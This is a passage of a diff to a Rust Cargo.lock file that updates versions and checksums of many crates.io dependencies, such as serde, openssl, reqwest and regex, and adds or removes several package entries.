-checksum = "d59d8c75012853d2e872fb56bc8a2e53718e2cafe1a4c823143141c6d90c322f" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" [[package]] name = "lock_api" -version = "0.4.9" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -1698,11 +2203,10 @@ dependencies = [ [[package]] name = "log" -version = "0.4.17" +version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" dependencies = [ - "cfg-if", "value-bag", ] @@ -1729,15 +2233,15 @@ checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" [[package]] name = "mac-notification-sys" -version = "0.5.8" +version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "abc434554ad0e640d772f7f262aa28e61d485212533d3673abe5f3d1729bd42a" +checksum = "51fca4d74ff9dbaac16a01b924bc3693fa2bba0862c2c633abc73f9a8ea21f64" dependencies = [ "cc", "dirs-next", "objc-foundation", "objc_id", - "time 0.3.20", + "time", ] [[package]] @@ -1757,7 +2261,21 @@ checksum = "a24f40fb03852d1cdd84330cddcaf98e9ec08a7b7768e952fad3b4cf048ec8fd" dependencies = [ "log", "phf 0.8.0", - "phf_codegen", + "phf_codegen 0.8.0", + "string_cache", + "string_cache_codegen", + "tendril", +] + +[[package]] +name = "markup5ever" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016" +dependencies = [ + "log", + "phf 0.10.1", + "phf_codegen 0.10.0", "string_cache", "string_cache_codegen", "tendril", @@ -1769,7 +2287,7 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" dependencies = [ - "regex-automata", + "regex-automata 0.1.10", ] [[package]] @@ -1779,16 +2297,31 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" [[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] name = "memchr" -version = "2.5.0" +version = "2.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" +checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" [[package]] name = "memoffset" -version = "0.8.0" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d61c719bcfbcf5d62b3a09efa6088de8c54bc0bfcd3ea7ae39fcc186108b8de1" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" dependencies = [ "autocfg", ] @@ -1807,15 +2340,6 @@ checksum = "933dca44d65cdd53b355d0b73d380a2ff5da71f87f036053188bf1eab6a19881" [[package]] name = "miniz_oxide" -version = "0.6.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa" -dependencies = [ - "adler", -] - -[[package]] -name = "miniz_oxide" version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" @@ -1826,12 +2350,11 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.8" +version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" +checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" dependencies = [ "libc", - "log", "wasi 0.11.0+wasi-snapshot-preview1", "windows-sys 0.48.0", ] @@ -1860,7 +2383,7 @@ version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4" dependencies = [ - "bitflags", + "bitflags 1.3.2", "jni-sys", "ndk-sys", "num_enum", @@ -1889,6 +2412,18 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" [[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset 0.7.1", +] + +[[package]] name = "nodrop" version = "0.1.14" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1896,14 +2431,15 @@ checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" [[package]] name = "notify-rust" -version = "4.8.0" +version = "4.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bfa211d18e360f08e36c364308f394b5eb23a6629150690e109a916dc6f610e" +checksum = "827c5edfa80235ded4ab3fe8e9dc619b4f866ef16fe9b1c6b8a7f8692c0f2226" dependencies = [ - "dbus", "log", "mac-notification-sys", + "serde", "tauri-winrt-notification", + "zbus", ] [[package]] @@ -1939,20 +2475,20 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.15" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" dependencies = [ "autocfg", ] [[package]] name = "num_cpus" -version = "1.15.0" +version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi 0.2.6", + "hermit-abi", "libc", ] @@ -2009,15 +2545,15 @@ dependencies = [ [[package]] name = "objc-sys" -version = "0.3.0" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da30ff0a93f6801dc6c4f384ebe70146a40aac8ebf34e4e8ff1f528e859318a3" +checksum = "99e1d07c6eab1ce8b6382b8e3c7246fe117ff3f8b34be065f5ebace6749fe845" [[package]] name = "objc2" -version = "0.3.0-beta.5" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef3a6024722b4230242a53e5b5759ce117548983696b8e4b7bc2fd1f8fce621e" +checksum = "559c5a40fdd30eb5e344fbceacf7595a81e242529fb4e21cf5f43fb4f11ff98d" dependencies = [ "objc-sys", "objc2-encode", @@ -2025,9 +2561,9 @@ dependencies = [ [[package]] name = "objc2-encode" -version = "2.0.0-pre.4" +version = "3.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f8f7297b786454a87e392631e2b2754ed59a7b413effa8521225d93f46b2192" +checksum = "d079845b37af429bfe5dfa76e6d087d788031045b25cfc6fd898486fd9847666" [[package]] name = "objc_exception" @@ -2048,10 +2584,19 @@ dependencies = [ ] [[package]] +name = "object" +version = "0.32.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +dependencies = [ + "memchr", +] + +[[package]] name = "once_cell" -version = "1.17.1" +version = "1.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" [[package]] name = "open" @@ -2065,11 +2610,11 @@ dependencies = [ [[package]] name = "openssl" -version = "0.10.55" +version = "0.10.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "345df152bc43501c5eb9e4654ff05f794effb78d4efe3d53abc158baddc0703d" +checksum = "79a4c6c3a2b158f7f8f2a2fc5a969fa3a068df6fc9dbb4a43845436e3af7c800" dependencies = [ - "bitflags", + "bitflags 2.4.1", "cfg-if", "foreign-types", "libc", @@ -2086,7 +2631,7 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.15", + "syn 2.0.39", ] [[package]] @@ -2097,9 +2642,9 @@ checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" [[package]] name = "openssl-sys" -version = "0.9.90" +version = "0.9.96" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "374533b0e45f3a7ced10fcaeccca020e66656bc03dac384f852e4e5a7a8104a6" +checksum = "3812c071ba60da8b5677cc12bcb1d42989a65553772897a7e0355545a819838f" dependencies = [ "cc", "libc", @@ -2114,6 +2659,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" [[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] name = "os_info" version = "3.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2126,12 +2681,12 @@ dependencies = [ [[package]] name = "os_pipe" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a53dbb20faf34b16087a931834cba2d7a73cc74af2b7ef345a4c8324e2409a12" +checksum = "0ae859aa07428ca9a929b936690f8b12dc5f11dd8c6992a18ca93919f28bc177" dependencies = [ "libc", - "windows-sys 0.45.0", + "windows-sys 0.48.0", ] [[package]] @@ -2146,7 +2701,7 @@ version = "0.15.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "22e4045548659aee5313bde6c582b0d83a627b7904dd20dc2d9ef0895d414e4f" dependencies = [ - "bitflags", + "bitflags 1.3.2", "glib", "libc", "once_cell", @@ -2162,10 +2717,16 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] +name = "parking" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" + +[[package]] name = "parking_lot" version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2177,24 +2738,18 @@ dependencies = [ [[package]] name = "parking_lot_core" -version = "0.9.7" +version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9069cbb9f99e3a5083476ccb29ceb1de18b9118cafa53e90c9551235de2b9521" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.2.16", + "redox_syscall 0.4.1", "smallvec", - "windows-sys 0.45.0", + "windows-targets 0.48.5", ] [[package]] -name = "paste" -version = "1.0.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f746c4065a8fa3fe23974dd82f15431cc8d40779821001404d10d2e79ca7d79" - -[[package]] name = "pathdiff" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2202,9 +2757,9 @@ checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd" [[package]] name = "percent-encoding" -version = "2.2.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "phf" @@ -2223,9 +2778,17 @@ version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" dependencies = [ - "phf_macros 0.10.0", "phf_shared 0.10.0", - "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +dependencies = [ + "phf_macros 0.11.2", + "phf_shared 0.11.2", ] [[package]] @@ -2239,6 +2802,16 @@ dependencies = [ ] [[package]] +name = "phf_codegen" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", +] + +[[package]] name = "phf_generator" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2259,6 +2832,16 @@ dependencies = [ ] [[package]] +name = "phf_generator" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +dependencies = [ + "phf_shared 0.11.2", + "rand 0.8.5", +] + +[[package]] name = "phf_macros" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2274,16 +2857,15 @@ dependencies = [ [[package]] name = "phf_macros" -version = "0.10.0" +version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58fdf3184dd560f160dd73922bea2d5cd6e8f064bf4b13110abd81b03697b4e0" +checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" dependencies = [ - "phf_generator 0.10.0", - "phf_shared 0.10.0", - "proc-macro-hack", + "phf_generator 0.11.2", + "phf_shared 0.11.2", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.39", ] [[package]] @@ -2305,10 +2887,39 @@ dependencies = [ ] [[package]] +name = "phf_shared" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] name = "pin-project-lite" -version = "0.2.9" +version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" [[package]] name = "pin-utils" @@ -2317,39 +2928,86 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" [[package]] +name = "piper" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" +dependencies = [ + "atomic-waker", + "fastrand 2.0.1", + "futures-io", +] + +[[package]] name = "pkg-config" -version = "0.3.26" +version = "0.3.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ac9a59f73473f1b8d852421e59e64809f025994837ef743615c6d0c5b305160" +checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" [[package]] name = "plist" -version = "1.4.3" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9bd9647b268a3d3e14ff09c23201133a62589c658db02bb7388c7246aafe0590" +checksum = "e5699cc8a63d1aa2b1ee8e12b9ad70ac790d65788cd36101fa37f87ea46c4cef" dependencies = [ - "base64 0.21.0", - "indexmap 1.9.3", + "base64 0.21.5", + "indexmap 2.1.0", "line-wrap", - "quick-xml 0.28.2", + "quick-xml 0.31.0", "serde", - "time 0.3.20", + "time", ] [[package]] name = "png" -version = "0.17.8" +version = "0.17.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aaeebc51f9e7d2c150d3f3bfeb667f2aa985db5ef1e3d212847bdedb488beeaa" +checksum = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64" dependencies = [ - "bitflags", + "bitflags 1.3.2", "crc32fast", "fdeflate", "flate2", - "miniz_oxide 0.7.1", + "miniz_oxide", ] [[package]] +name = "polling" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "concurrent-queue", + "libc", + "log", + "pin-project-lite", + "windows-sys 0.48.0", +] + +[[package]] +name = "polling" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf63fa624ab313c11656b4cda960bfc46c410187ad493c41f6ba2d8c1e991c9e" +dependencies = [ + "cfg-if", + "concurrent-queue", + "pin-project-lite", + "rustix 0.38.26", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] name = "ppv-lite86" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2368,7 +3026,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" dependencies = [ "once_cell", - "toml_edit", + "toml_edit 0.19.15", ] [[package]] @@ -2403,36 +3061,36 @@ checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" [[package]] name = "proc-macro2" -version = "1.0.56" +version = "1.0.70" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b63bdb0cd06f1f4dedf69b254734f9b45af66e4a031e42a7480257d9898b435" +checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" dependencies = [ "unicode-ident", ] [[package]] name = "quick-xml" -version = "0.23.1" +version = "0.30.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "11bafc859c6815fbaffbbbf4229ecb767ac913fecb27f9ad4343662e9ef099ea" +checksum = "eff6510e86862b57b210fd8cbe8ed3f0d7d600b9c2863cd4549a2e033c66e956" dependencies = [ "memchr", ] [[package]] name = "quick-xml" -version = "0.28.2" +version = "0.31.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ce5e73202a820a31f8a0ee32ada5e21029c81fd9e3ebf668a40832e4219d9d1" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" dependencies = [ "memchr", ] [[package]] name = "quote" -version = "1.0.26" +version = "1.0.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4424af4bf778aae2051a77b60283332f386554255d722233d09fbfc7e30da2fc" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" dependencies = [ "proc-macro2", ] @@ -2497,7 +3155,7 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "getrandom 0.2.9", + "getrandom 0.2.11", ] [[package]] @@ -2526,42 +3184,43 @@ checksum = "f2ff9a1f06a88b01621b7ae906ef0211290d1c8a168a15542486a8f61c0833b9" [[package]] name = "redox_syscall" -version = "0.2.16" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" dependencies = [ - "bitflags", + "bitflags 1.3.2", ] [[package]] name = "redox_syscall" -version = "0.3.5" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ - "bitflags", + "bitflags 1.3.2", ] [[package]] name = "redox_users" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" dependencies = [ - "getrandom 0.2.9", - "redox_syscall 0.2.16", + "getrandom 0.2.11", + "libredox", "thiserror", ] [[package]] name = "regex" -version = "1.7.3" +version = "1.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b1f693b24f6ac912f4893ef08244d70b6067480d2f1a46e950c9691e6749d1d" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" dependencies = [ "aho-corasick", "memchr", - "regex-syntax", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", ] [[package]] @@ -2570,7 +3229,18 @@ version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" dependencies = [ - "regex-syntax", + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", ] [[package]] @@ -2580,20 +3250,26 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" [[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] name = "reqwest" -version = "0.11.18" +version = "0.11.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cde824a14b7c14f85caff81225f411faacc04a2013f41670f41443742b1c1c55" +checksum = "046cd98826c46c2ac8ddecae268eb5c2e58628688a5fc7a2643704a73faba95b" dependencies = [ - "base64 0.21.0", + "base64 0.21.5", "bytes", "encoding_rs", "futures-core", "futures-util", - "h2", - "http", - "http-body", - "hyper", + "h2 0.3.22", + "http 0.2.11", + "http-body 0.4.5", + "hyper 0.14.27", "hyper-tls", "ipnet", "js-sys", @@ -2606,14 +3282,17 @@ dependencies = [ "serde", "serde_json", "serde_urlencoded", + "system-configuration", "tokio", "tokio-native-tls", + "tokio-util", "tower-service", "url", "wasm-bindgen", "wasm-bindgen-futures", + "wasm-streams", "web-sys", - "winreg 0.10.1", + "winreg 0.50.0", ] [[package]] @@ -2641,6 +3320,12 @@ dependencies = [ ] [[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] name = "rustc_version" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2651,29 +3336,42 @@ dependencies = [ [[package]] name = "rustix" -version = "0.37.11" +version = "0.37.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85597d61f83914ddeba6a47b3b8ffe7365107221c2e557ed94426489fefb5f77" +checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" dependencies = [ - "bitflags", + "bitflags 1.3.2", "errno", "io-lifetimes", "libc", - "linux-raw-sys", + "linux-raw-sys 0.3.8", "windows-sys 0.48.0", ] [[package]] +name = "rustix" +version = "0.38.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9470c4bf8246c8daf25f9598dca807fb6510347b1e1cfa55749113850c79d88a" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys 0.4.12", + "windows-sys 0.52.0", +] + +[[package]] name = "rustversion" -version = "1.0.12" +version = "1.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f3208ce4d8448b3f3e7d168a73f5e0c43a61e32930de3bceeccedb388b6bf06" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" [[package]] name = "ryu" -version = "1.0.13" +version = "1.0.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" [[package]] name = "safemem" @@ -2707,23 +3405,17 @@ checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" [[package]] name = "scopeguard" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" - -[[package]] -name = "scratch" -version = "1.0.5" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1792db035ce95be60c3f8853017b3999209281c24e2ba5bc8e59bf97a0c590c1" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "security-framework" -version = "2.9.1" +version = "2.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fc758eb7bffce5b308734e9b0c1468893cae9ff70ebf13e7090be8dcbcc83a8" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" dependencies = [ - "bitflags", + "bitflags 1.3.2", "core-foundation", "core-foundation-sys", "libc", @@ -2732,9 +3424,9 @@ dependencies = [ [[package]] name = "security-framework-sys" -version = "2.9.0" +version = "2.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f51d0c0d83bec45f16480d0ce0058397a69e48fcdc52d1dc8855fb68acbd31a7" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" dependencies = [ "core-foundation-sys", "libc", @@ -2746,14 +3438,14 @@ version = "0.22.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe" dependencies = [ - "bitflags", + "bitflags 1.3.2", "cssparser", "derive_more", "fxhash", "log", "matches", "phf 0.8.0", - "phf_codegen", + "phf_codegen 0.8.0", "precomputed-hash", "servo_arc", "smallvec", @@ -2762,45 +3454,55 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.18" +version = "1.0.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918" +checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" dependencies = [ "serde", ] [[package]] name = "serde" -version = "1.0.160" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb2f3770c8bce3bcda7e149193a069a0f4365bda1fa5cd88e03bca26afc1216c" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.160" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "291a097c63d8497e00160b166a967a4a79c64f3facdd01cbd7502231688d77df" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.15", + "syn 2.0.39", ] [[package]] name = "serde_json" -version = "1.0.96" +version = "1.0.108" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "057d394a50403bcac12672b2b18fb387ab6d289d957dab67dd201875391e52f1" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" dependencies = [ - "itoa 1.0.6", + "itoa 1.0.9", "ryu", "serde", ] [[package]] +name = "serde_path_to_error" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4beec8bce849d58d06238cb50db2e1c417cfeafa4c63f692b15c82b7c80f8335" +dependencies = [ + "itoa 1.0.9", + "serde", +] + +[[package]] name = 